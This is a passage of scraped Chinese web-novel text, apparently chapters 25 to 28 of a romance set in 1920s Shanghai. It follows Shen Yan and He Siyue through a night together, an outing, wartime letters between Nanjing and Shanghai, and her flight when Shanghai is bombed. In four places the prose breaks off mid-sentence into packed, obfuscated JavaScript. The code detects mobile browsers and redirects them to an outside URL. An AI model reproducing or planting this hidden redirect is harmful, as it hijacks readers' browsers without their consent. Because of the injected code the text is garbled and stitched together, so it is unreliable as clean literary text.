“我什么？”沈晏打断她，“我有钱，但钱买不来你的勇敢。我有地位，但地位换不来你的善良。我有手段，但手段得不到你的真心。” 他捧着她的脸，一字一句地说：“思玥，是你让我变得更好。是你让我知道，这世上还有比赚钱更值得做的事。是你让我从一个只会算账的商人，变成一个……一个想守护些什么的人。” 何思玥的眼泪流得更凶。她抱住他，把脸埋在他肩头。 “好。”她说，“等你回来，我们就结婚。” 沈晏紧紧抱住她，手臂因为用力而微微发抖。他在她耳边轻声说：“思玥，谢谢你。谢谢你愿意给我这个机会。” 夜色渐深，星子越来越亮。阳台上，两个人相拥着，像两棵依偎的树，在秋风里，互相温暖，互相支撑。 后来他们进屋，沈晏送她到卧室门口。像往常一样，道晚安，然后各自回房。 但这一次，何思玥拉住他的手：“今晚……别走了。” 沈晏怔住了。他看着她，眼神里有惊讶，有不确定，然后慢慢变成一种深沉的温柔。 “思玥，你确定吗？” “确定。”何思玥点头，“我不想再等了。我想在你离开前，真正地拥有你，也让你拥有我。” 沈晏的喉结动了动。他握住她的手，指尖微微颤抖。 “好。”他说，声音沙哑，“但你要答应我一件事。” “什么？” “如果……如果你后悔了，随时可以喊停。”沈晏看着她的眼睛，“我要的是你心甘情愿，不是一时冲动。” 何思玥笑了。她踮起脚，在他唇上轻轻吻了一下。 “沈晏，你总是想太多。”她说，“我从来没有像现在这样清醒过。” 那一夜，窗外的梧桐叶沙沙作响，像在唱一首温柔的歌。房间里的灯光很暗，只有月光从窗帘缝隙透进来，在地上投下斑驳的光影。 他们像两个在黑暗中摸索了很久的人，终于找到了彼此。没有太多的言语，只有小心翼翼的触碰，和那些压抑了太久的、终于得以释放的情感。 结束时，沈晏抱着她，在她耳边轻声说：“思玥，从今往后，你就是我的命。” 何思玥累极了，靠在他怀里，轻声回应：“你也是我的。” 晨光透过窗帘的缝隙，洒在凌乱的床单上。 何思玥先醒来。 她睁开眼，发现自己枕在沈晏的臂弯里，他的另一只手还搭在她腰间，以一种保护的姿态。 她没动，只是静静地看着他熟睡的脸。平日里总是梳得一丝不苟的头发此刻散乱地搭在额前，下巴上有新冒出的青色胡茬，眼下的疲惫依然清晰可见。 但睡着的他，少了几分商人的精明，多了几分难得的松弛和……脆弱。 是的，脆弱。这个认知让何思玥心里微微一动。原来沈晏也不是永远坚不可摧的。 她轻轻抬起手，指尖虚虚地描摹他的眉眼。从浓密的眉毛，到紧闭的眼睛，再到高挺的鼻梁，最后停在他微抿的唇上。 就在她的指尖快要触到他的唇时，沈晏忽然睁开了眼睛。 四目相对。何思玥的手僵在半空中，脸颊微微发烫。 沈晏看着她，眼神从初醒的迷茫，慢慢变得清明，然后染上温柔的笑意。他握住她停在半空的手，拉到唇边，轻轻吻了吻她的指尖。 “早。”他的声音带着晨起的沙哑，格外低沉。 “早。”何思玥轻声回应，想抽回手，却被他握得更紧。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989874|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“后悔吗？”沈晏问，眼神认真。 何思玥摇头：“不后悔。” 沈晏笑了。那笑容很舒展，像阳光终于穿透云层。他凑过来，在她额头上印下一个吻，然后才松开她，起身。 晨光里，他的背影挺拔，肩胛骨的线条在薄薄的晨衣下清晰可见。何思玥看着他走到窗边，拉开窗帘—— 金色的阳光瞬间涌进房间，照亮了空气中飞舞的微尘，也照亮了床单上那些隐秘的痕迹。 何思玥的脸一下子红了，拉起被子盖住自己。 沈晏回过头，看见她这副样子，忍不住笑了：“现在知道害羞了？” “你……”何思玥把头埋进枕头里。 沈晏走回床边，在床沿坐下，轻轻拉开被子的一角：“思玥，看着我。” 何思玥慢慢抬起头，脸颊还红着。 “我们是要结婚的。”沈晏认真地说，“这是夫妻之间最自然的事，没什么好害羞的。” 他顿了顿，补充道：“而且……我很高兴。高兴你愿意把自己交给我。” 何思玥看着他的眼睛，那里面有温柔，有珍惜，还有某种深沉的、让她心安的东西。她慢慢坐起身，靠进他怀里。 “我也是。”她轻声说，“沈晏，我也是高兴的。” 他们在晨光里静静相拥了一会儿。然后沈晏说：“今天是我在上海的最后一天了。” 何思玥的心微微一沉，但很快调整过来：“我知道。你想做什么？” “想和你在一起。”沈晏说，“做什么都行。” 最后他们决定去城隍庙。不是去烧香，是去吃小吃，看热闹，像最普通的恋人一样。 何思玥换了身简单的蓝色旗袍，头发绾成髻，别了那枚紫藤胸针。 沈晏穿了身浅灰色长衫，看起来像个儒雅的教书先生，而不是叱咤商场的沈大少爷。 城隍庙里人声鼎沸。卖小吃的摊子一个挨着一个，空气里飘着各种香气：生煎包的焦香，小笼包的鲜香，酒酿圆子的甜香，还有炸臭豆腐那独特的味道。 沈晏牵着何思玥的手，在人群中慢慢走着。他给她买糖葫芦，买梨膏糖，买刚出锅的蟹壳黄。每样都只买一点，让她尝尝味道。 “这个好吃。”何思玥咬了一口蟹壳黄，酥皮簌簌地往下掉。 沈晏伸手接住掉落的酥皮，很自然地送进自己嘴里：“嗯，是不错。” 这个动作太亲密，何思玥的脸又红了。但沈晏做得那么自然，仿佛已经这样做过无数次。 他们在一个卖泥人的摊子前停下。摊主是个老手艺人，手指翻飞间，一个个栩栩如生的泥人就成型了。 “捏个我们吧。”沈晏说。 老手艺看看他们，笑了：“好嘞。” 他取了两团泥，手指灵活地揉捏着。很快，两个小泥人就初具雏形——男的穿长衫，女的穿旗袍，手牵着手。 “像吗？”沈晏问何思玥。 何思玥仔细看着：“你比我本人好看。” “胡说。”沈晏付了钱，小心地把泥人包好，“你最好看。” 他们在城隍庙逛了一上午，中午在九曲桥边的老字号吃了午饭。吃完饭，又去湖心亭喝茶。秋日的阳光暖洋洋的，照在湖面上，波光粼粼。 “还记得我们第一次见面吗？”沈晏忽然问。 何思玥笑了：“记得。你把林老师家的青花瓷盖打碎了。” “那时候你一定觉得我是个冒失鬼。”沈晏也笑了。 “不止。”何思玥说，“还觉得你满身铜臭，傲慢无礼，对女子不尊重。” 沈晏挑眉：“现在呢？” 26. 第 26 章 “现在……”何思玥看着他，眼神温柔，“现在觉得，你是个好人。虽然还是会算计，但还是个好人。” 何思玥言语中带有一丝调侃，一旁的沈晏嘴角微微扬起，露出好看的弧度，看到而今的状态，真的很替她高兴。 沈晏握住她的手：“思玥，谢谢你愿意给我机会，让我证明自己。” “不用谢。”何思玥摇头，“你不需要证明自己，你一直很优秀。” 下午，他们去了外滩。站在黄浦江边，看着对岸的浦东农田，看着江上来往的船只。 “每次站在这里，都觉得上海真大。”何思玥轻声说，“大到能容纳所有人的梦想，也大到……能让一个人的痛苦显得那么微不足道。” 沈晏揽住她的肩：“但你的痛苦，对我很重要。” 何思玥靠在他肩上，没说话。 江风吹起她的头发，发丝拂过沈晏的脸颊，痒痒的。 “思玥，”沈晏忽然说，“等我从南京回来，我们就结婚。然后……你想去哪里？我们可以去旅行，欧洲，美国，都可以。” “我想留在上海。”何思玥说。 沈晏愣了愣。 “这里是我的家。”何思玥看着江面，“虽然它让我失去过一切，但也让我找回了一切。而且……我的工作在这里，那些读者在等我，那些女孩在看着我。” 她转过头，看着沈晏：“我想留下来，继续做我能做的事。让更多女子看见光，让更多像周晓芸那样的女孩，有机会选择自己的人生。” 沈晏看着她，看了很久。然后他笑了，笑容里有骄傲，有欣赏，还有深深的爱意。 “好。”他说，“那我们就留在上海。你做你想做的事，我做你的后盾。” 夕阳西下时，他们回到公寓。最后的一夜，没有太多言语，只是静静地相拥，听着彼此的心跳，感受着彼此的存在。 深夜，何思玥忽然说：“沈晏，给我讲讲你小时候的事吧。” 沈晏想了想，开始讲：“我小时候很皮，总爱爬树掏鸟窝。有一次从树上摔下来，摔断了胳膊……” 他讲得很慢，声音在夜色里格外温柔。讲他如何跟着父亲学做生意，如何在英国留学时想家，如何第一次见到她时，就觉得这个女子不一样。 何思玥听着，渐渐睡着了。睡梦中，她嘴角还带着笑意。 沈晏看着她的睡颜，轻轻吻了吻她的额头，轻声说：“思玥，等我回来，我们先举行一个简单的仪式，等三年孝期一过，我们就举行正式的仪式，你看可以吗？” 何思玥抬眼看了沈晏一眼，又垂下眸子，眼前考虑到了她父母去世没有多久。 三年。她明白他的意思——父母新丧，按旧礼，子女当守孝三年。 这期间不宜婚嫁，不宜喜庆。 她垂下眼，手指无意识地蜷缩起来。父母倒在血泊中的画面又闪过脑海，那种尖锐的疼痛，即使过了这么久，依然清晰。 “我知道现在提这个不合适。”沈晏的声音更轻了，像怕惊扰什么，“但思玥，我不想等太久，外面兵荒马乱，指不定哪天就...我不想到那个时候后悔，所以我们可以先登记，只请几个最亲近的人，吃顿饭。不张扬，不大办。等到三年期满，我们再……” 他顿了顿，像是在斟酌词句：“我们再风风光光地办一场婚礼。让你穿最美的嫁衣，坐最漂亮的花轿，让全上海的人都知道，何思玥是我的妻子。” 何思玥的眼泪无声地滑下来，渗进枕头里。 她不是难过，是……是一种复杂的、说不清的情绪。有感动，有疼惜，有对父母的愧疚，也有对未来的期待。 “沈晏，”她轻声说，“你不必……” “我不是‘不必’，我是‘想要’。”沈晏打断她，手指轻轻拂去她眼角的泪，“思玥，我知道你在想什么。你觉得现在谈婚论嫁，是对不起你父母，是不是？” 何思玥点了点头，喉头发紧。 沈晏握住她的手，放在自己心口：“那你觉得，你父母在天上看着，是希望你一个人孤零零地守着孝道，还是希望有个人能陪着你，照顾你，让你不再孤单？” 他的心跳很稳，一下一下，透过掌心传来，像某种坚实的承诺。 他低头看着何思玥：“思玥，守孝重在心，不在形。你心里记着父母，念着他们，这比什么都重要。而我要做的，是让你在记着他们的同时，也能好好生活，能笑，能爱，能有新的希望。” 何思玥的眼泪流得更凶。 她想起父母最后看她的眼神——那里面有疼惜，有不舍，有让她“快跑”的急切。如果他们还在，一定希望她幸福，而不是被孝道困住，在悲伤里沉沦。 “可是……”她的声音哽咽，“我才……我才刚刚……” “我知道。”沈晏抱紧她，“我知道你还没完全走出来。但思玥，有些路，一个人走太冷了。让我陪着你，好吗？” 他在她耳边轻声说：“我们不急。你可以慢慢想，慢慢准备。等你想好了，告诉我。无论是一个月后，一年后，还是三年后——我都等你。” 许久，她轻声说：“好。等你从南京回来……我们先登记。” 沈晏的眼睛瞬间亮了，像夜空里最亮的星。他用力抱紧她，手臂因为激动而微微发抖。 “思玥……”他的声音有些哽咽，“谢谢你。谢谢你愿意相信我。” “该说谢谢的是我。”何思玥靠在他怀里，闭上眼睛，“谢谢你……一直在我身边。” 窗外，月亮慢慢西移。梧桐树的影子在墙上缓缓移动，像时间的指针，悄无声息地划过这个温柔的夜晚。 后半夜，何思玥做了一个梦。 梦见父母站在一片光里，朝她微笑。父亲还是穿着那件湖蓝色的长衫，袖口的竹叶绣得栩栩如生。母亲挽着父亲的手臂，眉眼温柔。 “思玥，”父亲开口了，声音和从前一样慈祥，“要幸福啊。” 母亲也笑了：“傻孩子，有人疼你，我们就放心了。” 她想跑过去，抱住他们，但怎么也跑不动。只能看着他们在光里渐渐淡去，最后消失不见。 醒来时，天已经蒙蒙亮。沈晏还在睡，呼吸均匀。 何思玥侧过头看着他，看着他安稳的睡颜，心里那片荒芜了很久的地方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16995682|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，终于有新的种子，悄悄发了芽。 也许这就是人生——失去一些，得到一些；告别一些，遇见一些。而最重要的是，在所有的失去和得到之间，依然有勇气去爱，去相信，去开始新的故事。 她轻轻起身，走到窗边，拉开窗帘。 东方泛起了鱼肚白，新的一天就要开始了。梧桐树上，有早起的鸟儿在鸣叫，清脆悦耳。 身后传来动静。沈晏醒了，走到她身后，从后面抱住她。 “早。”他的声音还带着睡意。 “早。”何思玥靠在他怀里，“我做了一个梦。” “梦见什么了？” “梦见我爹娘了。”何思玥轻声说，“他们说……让我幸福。” 沈晏的手臂紧了紧。他低下头，在她发间印下一个吻。 “他们会看到的。”他说，“我会让你幸福。一定。” 何思玥将沈晏送下了楼，司机已经在楼下等着了，“一路平安。” 车子启动前，沈晏摇下车窗，又看了何思玥一眼。晨光里，她穿着月白色旗袍站在梧桐树下，身影单薄却挺直，像一株经历过风霜却依然坚韧的玉兰。 “进去吧，外面凉。”他说。 “看你走了我再进去。”何思玥微笑。 沈晏点点头，终于让司机开车。车子缓缓驶出弄堂，汇入清晨稀疏的车流。他从后视镜里看着，直到她的身影变成一个小点，最终消失在拐角。 车厢里很安静，只有引擎的轻响。沈晏靠在后座上，闭上眼睛，但脑子里全是何思玥的样子——她哭的样子，笑的样子，睡着时眉头微皱的样子，还有昨夜在他怀里颤抖的样子。 这些画面像珍贵的胶片，他要好好收着，带到遥远的南京去。 “少爷，”司机老陈从后视镜看了他一眼，“直接去车站吗？” “先去一趟沈氏商行。”沈晏睁开眼睛，“有几份文件要交代。” 商行里已经有人在等他了。 杨石泽站在办公室窗前，手里端着杯咖啡，看见沈晏进来，转身道：“还以为你直接走了。” “总要来跟你交代几句。”沈晏脱下外套，挂在衣架上，“思玥那边……麻烦你多照应。” “知道。”杨石泽点头，“不过沈晏，你真要亲自去南京？那边局势不太平，让下面的人去不行吗？” “有些事必须我亲自处理。”沈晏打开保险柜，取出几份文件，“而且……我也想趁这个机会，打通南京的商路。” 他说得轻描淡写，但杨石泽听出了其中的深意。沈晏这是要趁乱局中寻找机会——不是小打小闹的生意，是真正的、能改变格局的大布局。 “为了何思玥？”杨石泽问。 沈晏手上的动作顿了顿，然后笑了：“一半是。我想给她一个更稳固的依靠。另一半……是为我自己。”他抬起头，眼神里有种杨石泽从未见过的锐利，“石泽，这世道要变了。军阀混战，列强环伺，光守着一亩三分地，迟早要被吞掉。我要趁还能动的时候，把根扎得更深些。” 杨石泽沉默片刻，点头：“我明白。上海这边你放心，我会帮你看着。” 27. 第 27 章 沈晏离开的第七天，何思玥收到了第一封信。 信是杨石泽转交的，装在普通的牛皮纸信封里，封口用火漆封着，印着沈氏商行的徽记。 何思玥接过时，手微微发抖。 她回到公寓，坐在窗边的藤椅里，小心翼翼地拆开信封。信纸是上好的宣纸，沈晏的字迹一如既往地工整，但比平时多了几分随意： 思玥吾爱：见字如晤。 我已安抵南京。此处秋意渐浓，梧桐叶黄，颇有几分上海景象，然终是异乡。下榻中央饭店，临窗可见紫金山，云雾缭绕，时有钟声传来，悠远苍凉。 此行诸事繁杂，日间拜会各方，晚间核算账目，常至深夜。然每至疲惫时，便想起你送我时眼中水光，想起那缕青丝，心中便生暖意，倦意顿消。 南京乃六朝古都，古迹甚多。昨日得闲，往夫子庙一游。见秦淮河畔，画舫如织，歌女弹唱，恍若前朝旧梦。忆起曾与你同游城隍庙，你吃蟹壳黄，酥皮簌簌落下之态，历历在目。当时只道是寻常，如今思之，方知点滴皆珍贵。 此地新开女子师范一所，规模颇大。路过时见女学生三五成群，蓝衫黑裙，朝气蓬勃。忽念及你之私塾，念及周晓芸等女孩，心下感慨。乱世之中，女子教育尤显可贵。你之坚持，意义深远。 闻你已在《妇女杂志》任职，甚慰。望你劳逸结合，勿太辛劳。若遇难处，可寻石泽相助，我已嘱咐于他。 夜深了，窗外秋虫唧唧。提笔至此，忽想起英国诗人济慈诗句：“Brightstar,wouldIweresteadfastasthouart.”（明亮的星，但愿我能如你坚定。）你便是我心中那颗星，照亮我前行之路。 纸短情长，不尽欲言。盼你回信。 愿卿安好。 晏手书 民国十四年十月十四日夜于南京！ 信末，还画了一个小小的算盘，旁边写着：“今日核账，错了一处，罚自己少睡半个时辰。若你在，一定要笑我。” 何思玥看完信，眼泪不知何时已经掉下来，落在信纸上，洇开了墨迹。她赶紧擦干，生怕弄坏了这珍贵的书信。 她走到书桌前，铺开信纸，提起笔。笔尖在纸上悬了很久，才落下第一个字： 晏君如晤： 来信收悉，反复读之，如见君面。 上海近日阴雨绵绵，梧桐叶落了大半，满街金黄。我每日往杂志社去，途经霞飞路，总见那株老梧桐——你记否？我们曾在其下躲雨，你以西装为我遮檐，自己却湿了半边肩。 工作尚顺利。林主编待我甚厚，常与我讨论文章至深夜。昨日翻译英国女作家伍尔夫新作《一间自己的房间》，颇有感触。女子欲独立，先须有独立之空间、独立之经济。此理古今中外皆然。 前日去探望陈校长。私塾虽关，她仍在为女子教育奔走，联络各方，欲办正规女校。周晓芸从苏州来信，说师范课业繁重，但“如鱼得水”。沈希希的画在巴黎虽未获奖，但法租界画廊欲为她办个展。你看，你曾投资之“项目”，皆在开花结果。 我一切安好，勿念。唯夜深人静时，偶感孤寂。然每念及你信中那句“你便是我心中那颗星”，便觉温暖。我们虽隔山水，却共望一天星辰，也算相伴。 公寓里你养的那盆文竹，我每日浇水，已抽新芽。窗台上的栀子花谢了，我收了花瓣，制成香囊，待你归来赠你。 盼君珍重，早归。 思玥手复 十月十七日 她想了想，在信末添上一行小字：“另：错账之事，确要笑你。商人当以精准为本，下不为例。” 写完信，她小心折好，装进信封。第二天上班时，顺路去了邮局。 从此，书信往来成了他们之间最温柔的牵绊。 沈晏的第二封信，一周后到达： 思玥：得你回信，如获至宝。置于枕边，每日睡前必读。 南京局势果如所料，错综复杂。昨日拜会实业部张次长，谈及纺织业发展，他颇有意在沪宁线设新厂。此事若成，或可解上海纱厂女工就业之困。想起你曾言“女子当经济独立”，此事我当尽力促成。 前日往中山陵谒陵，见石阶漫长，游人如织。登顶四望，长江如带，钟山如屏，顿觉个人之渺小，时代之洪流。然转念一想，洪流亦由点滴汇聚。你我所作点滴努力，或也能成时代之一粟。 你提及伍尔夫之作，深以为然。我已托人在英国购其全集，待我归来，与你共读。 错账之训，铭记在心。如今每核账目，必想你若在旁监督，不敢有丝毫懈怠。 南京深秋已寒，晨起见霜。你体弱，上海阴雨时，记得添衣。梨汤可常喝，药材我已嘱咐石泽备足。 盼信。 晏 十月廿四日 何思玥回信： 晏： 信至时，上海正放晴。阳光透过窗棂，照在你养的那盆文竹上，新芽又长了一寸。 闻你欲促成新厂之事，心下欢喜。若真能成，不知多少女子可得生计，多少家庭可免饥寒。你常言自己是“商人”，然此等“生意”，方是真正功德。 杂志社近日收到读者来信甚多。有一封来自无锡缫丝厂女工，说读了我们刊登的《女子经济独立论》，与工友集资，请了夜校先生教识字。信中说：“从前只知缫丝换钱，如今方知，女子也可读书明理。”我读之泪下。 你看，星星之火，可以燎原。 周晓芸昨日来信，附成绩单，门门优异。她说：“何老师，我定要成为像您一样的教师。”我回信告她：“不必像我，要做更好的自己。” 近日翻译法国波伏瓦著作，遇难题数处。若你在，定能与我讨论。盼归。 思玥 十月廿九日 她在信封里，夹了一片梧桐叶——从他们常走的那条路上捡的，叶脉金黄，像秋天的信物。 书信就这样来来往往，穿过战火，穿过混乱，穿过六百里的山水，连接着两颗越来越近的心。 有时沈晏的信很短，只有寥寥数语：“今日事繁，夜已深。提笔只为一言：想你。” 有时何思玥的回信也很简单：“安好，勿念。文竹又长新叶。” 但无论是长信还是短信，每一封都被对方反复阅读，珍藏。那些信纸渐渐厚起来，被何思玥用丝带系好，放在枕边木盒里。沈晏那边，也在行李箱中专门辟出一格，存放她的来信。 冬天来临时，沈晏的信里多了担忧： 思玥： 南京已落初雪。晨起推窗，见满城素裹，美则美矣，然念及你体寒，心下忧虑。上海是否 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001215|193555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也冷？暖气可足？棉衣可备？ 新厂之事已有眉目，然谈判艰难，恐需多留月余。归期推迟，愧对于你。 昨夜梦你，在私塾庭院教画。槐花如雪，你穿藕荷色旗袍，笑靥如花。醒来怅然，提笔作画一幅，虽不善丹青，然心意在焉。随信附上，博卿一笑。 务必珍重。 晏 冬月初八 附着的画很简单，白描勾勒，一个女子在槐树下教画的背影。画角题字：“梦中见卿，醒来念之。” 何思玥看着画，笑着哭了。她回信： 晏： 画已收，虽笔法稚嫩，然神韵在。已裱起，悬于书房，每日见之如见君。 上海尚未落雪，然寒意已深。你嘱之物，皆已备齐。杨先生昨日送来狐裘一件，说是你托他置办。太过贵重，然念你心意，已穿上。 新厂之事既已艰难，不必急于求成。你之安全，最是要紧。 近日译完波伏瓦《第二性》首章，感触颇深。女子之困境，古今中外皆似。然正因如此，我辈努力才更有意义。 勿念我，专心事务。待你平安归来。 思玥 冬月十二日 她在信里夹了一小袋晒干的桂花——是秋天时收集的，香气依然馥郁。 书信往来间，冬天过去了。当沈晏的信里开始出现“梅花已开，春意渐浓”的字句时，何思玥知道，离他回来的日子不远了。 而她的木盒里，已经存了厚厚一沓书信。每一封，都是他们爱情的见证，都是乱世中，两颗心互相取暖的证明。 有时候夜深人静，她会把那些信拿出来，一封封重读。读他描述南京的秋色，读他谈生意的艰难，读他说“想你”时的简洁，读他画那幅画时的笨拙而真挚。 然后她会提笔回信，告诉他上海梧桐又发芽了，告诉他又有什么新文章要发表，告诉他，她在等他。 十二月，上海突然降温。 何思玥在信里抱怨：窗台上的茉莉冻死了。陈妈说今年冬天来得早，怕是极寒。你南京如何？秦淮河结冰了吗？记得多穿些，你总嫌厚重衣物臃肿，但保暖要紧。 沈晏的回信里夹了一张照片——是他站在明孝陵神道旁拍的，穿着厚大衣，围着围巾，笑得有些拘谨。照片背面写着一行小字： “南京亦冷，但思你时，心是暖的。另：已添衣，勿念。” 何思玥看着照片，忍不住笑了。她把照片放在床头，每晚睡前都要看看。 深冬时，何思玥生了场小病。感冒发烧，躺了两天。她没有告诉沈晏，但陈妈多嘴，在送饭时提了一句。 第三天，她就收到了加急电报，只有七个字：“已请南京名医来沪。” 何思玥哭笑不得，赶紧回电：“小恙已愈，勿劳师动众。” 但电报刚发出去，当天下午，一位穿着长衫的老先生就敲开了公寓的门——真是南京来的医生，姓秦，是沈晏重金请来的。 秦先生仔细诊了脉，开了方子，临走时说：“沈先生对何小姐真是上心。听说您病了，连夜托人找到老朽，非要亲自来一趟不可。” 何思玥送走秦先生，回到屋里，看着桌上那张沈晏的照片，心里涌起一阵温热的酸楚。 这个人啊，总是用最实际的方式，说着最笨拙的情话。 28. 第 28 章 病好后，何思玥在信里写：秦先生医术高明，一剂药下去便好了大半。只是你如此兴师动众，让我如何是好？下次若再这样，我便不告诉你了。 沈晏的回信很快到了，这次写得格外长：思玥，你道我兴师动众，我却觉得还不够。若我在上海，一定要亲自照料，端茶递水，守着你直到痊愈。如今远在南京，只能做这些微不足道的事，心里已是愧疚。 你说下次不告诉我，这话让我一夜未眠。思玥，我要你答应我，无论大事小事，好事坏事，都要让我知道。因为从你答应等我的那天起，你的喜怒哀乐，便都是我的责任了。 秦淮河昨夜结冰了，薄薄一层，阳光下晶莹剔透。我走在河边，想着若是你在，一定要拉着你去踩冰——虽然知道危险，但看你又怕又好奇的样子，一定很有趣。 快了，思玥。南京的事已近尾声，最迟腊月便能返沪。到时我们便去登记，然后……然后就是一辈子了。 等我。 何思玥读着这封信，眼泪滴在信纸上，洇开了一小片墨迹。她小心地擦干，将信纸折好，放进一个木盒里——那里已经存了厚厚一沓沈晏的来信。 她走到书桌前，铺开信纸，开始写回信：沈晏：我答应你。从今往后，大事小事，都告诉你。因为我的余生，都要与你分享，等你回来。 思玥，冬夜！ 腊月初七，清晨。 何思玥被爆炸声惊醒时，还以为是在做梦。 那声音很远，闷闷的，像夏日的闷雷，但紧接着就是第二声、第三声——越来越近，越来越响。 窗玻璃哗啦啦地震动，桌上的茶杯跳起来，摔在地上，碎了一地。 她从床上坐起，心脏狂跳。远处传来尖锐的警报声，还有人群奔跑、哭喊的嘈杂。 战争来了。 不是谣传，不是报纸上遥远的消息，是真真切切的、炸在上海土地上的炮火。 她胡乱套上衣服，推开窗。东南方的天空被火光映红，浓烟滚滚升起——那是闸北的方向，也是……《妇女杂志》社所在的方向。 何思玥抓起外套就往外跑。楼道里已经挤满了惊慌的居民，大家都在往楼下冲。她逆着人流，想往杂志社去，却被一个邻居拉住： “何小姐！不能去那边！听说日本人的飞机在轰炸！” “我的工作……”她挣扎着。 “工作重要还是命重要！”邻居不由分说地把她拉下楼。 公寓外的街道上一片混乱。人们提着行李、抱着孩子，像无头苍蝇一样乱跑。 黄包车夫拉着空车飞奔，汽车鸣着喇叭横冲直撞。远处，爆炸声还在继续，每一声都像砸在心上。 何思玥站在混乱的街头，忽然想起沈晏。他还在南京，知不知道上海打起来了？安不安全？能不能回来？ 这些念头像冰水，浇得她浑身发冷。 “何编辑！”一个熟悉的声音传来。 她转过头，看见林曼卿从一辆黄包车上跳下来，头发散乱，旗袍下摆撕破了一块，脸上有黑灰。 “林主编！杂志社……” “没了。”林曼卿的声音很平静，但眼神里是深重的疲惫，“直接被炸中。稿子，资料，还有下期要刊的版……全没了。” 何思玥的心沉到谷底。那些她一个字一个字写出来的文章，那些她从外文资料里一点点翻译、注释的文字，那些承载着她们理想和希望的纸页……全没了。 “人员呢？”她哑声问。 “都撤出来了，受了些惊吓，但没大事。”林曼卿握住她的手，“思玥，现在不是说这个的时候。你得赶紧离开法租界，这里也不安全了。” “去哪儿？” “去公共租界，或者……回家。”林曼卿顿了顿，“如果你还有家的话。” 家？何思玥苦笑。何家的宅子早就被封了，她现在唯一的“家”，是沈晏的公寓——而那个家，也随时可能被战火波及。 正说着，又一阵爆炸声传来，这次更近了。 地面都在震动，街道两旁建筑的玻璃噼里啪啦往下掉。人群爆发出更惊恐的尖叫，开始疯狂地往西边涌——那边是公共租界，相对安全些。 “跟我走！”林曼卿拉起她就跑。 她们跟着人流，跌跌撞撞地往西跑。爆炸声在身后追着，像死神的脚步。何思玥跑着跑着，忽然想起什么，猛地停住脚步。 “我的信！”她转身要往回跑。 “你疯了！”林曼卿死死拉住她，“什么东西比命重要！” “沈晏的信！”何思玥的声音带着哭腔，“他写给我的所有信，都在公寓里！” 那些信，是这两个月来支撑她的所有温暖。是沈晏不在身边时，她唯一的慰藉。如果连这些都没了…… “思玥！”林曼卿用力摇晃她，“信没了可以再写，人没了就什么都没了！沈晏要是知道你现在回去，会恨死我的！” 何思玥看着她，眼泪终于掉下来。是啊，沈晏如果知道她为了几封信回去冒险，一定会生气。他说过，她的平安，比什么都重要。 她最后看了一眼公寓的方向——那里已经被浓烟笼罩，看不清了。 然后她转过身，跟着林曼卿，汇入逃难的人流。 公共租界里已经挤满了人。街道上、公园里、甚至教堂里，到处都是逃难的人。有的拖家带口，有的只身一人，脸上都带着惊魂未定的恐惧。 林曼卿在公共租界有一处小公寓，勉强能容身。她把何思玥安顿下，又出去打听消息。 何思玥坐在窗前，看着窗外混乱的景象。炮声还在远处响着，时断时续。天空是灰黄色的，飘着硝烟和灰尘。这个她熟悉的、繁华的、爱恨交织的上海，在一夜之间，变成了战场。 傍晚，林曼卿回来了，脸色更差。 “打听到什么？”何思玥问。 “日本人从闸北攻进来了。”林曼卿的声音很低，“国军在抵抗，但……据说守不住。租界虽然暂时安全，但谁知道能安全多久。” 她顿了顿，看向何思玥：“思玥，你得离开上海。” “离开？” “对。”林曼卿点头，“去南京找沈晏，或者去更远的地方——武汉，重庆，哪里都行，只要离开战区。” 何思玥沉默。离开上海？这个念头她从未有过。这里是她的根，是她所有记忆的所在，是她答应沈晏要一起坚守的地方。 “我不能走。”她说，“我答应过沈晏，要在这里等他。” “等？”林曼卿苦笑，“思玥，现在不是儿女情长的时候。你得活着，活着才能等他。如果上海沦陷了，你困在这里，他怎么回来找你？” 这话戳中了何思玥最深的恐惧。是啊，如果上海真的沦陷了，如果她被困在这里，沈晏就算回来，也找不到她。 “可是……”她声音哽咽，“我不知道他在南京的地址。我们一直通信，但信都是从沈氏商行转的……” “那就去沈氏商行。”林曼卿说，“杨石泽应该知道。我陪你去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005775|193555||http|test|mini|href|location''.split(''|''),0,{})); () { 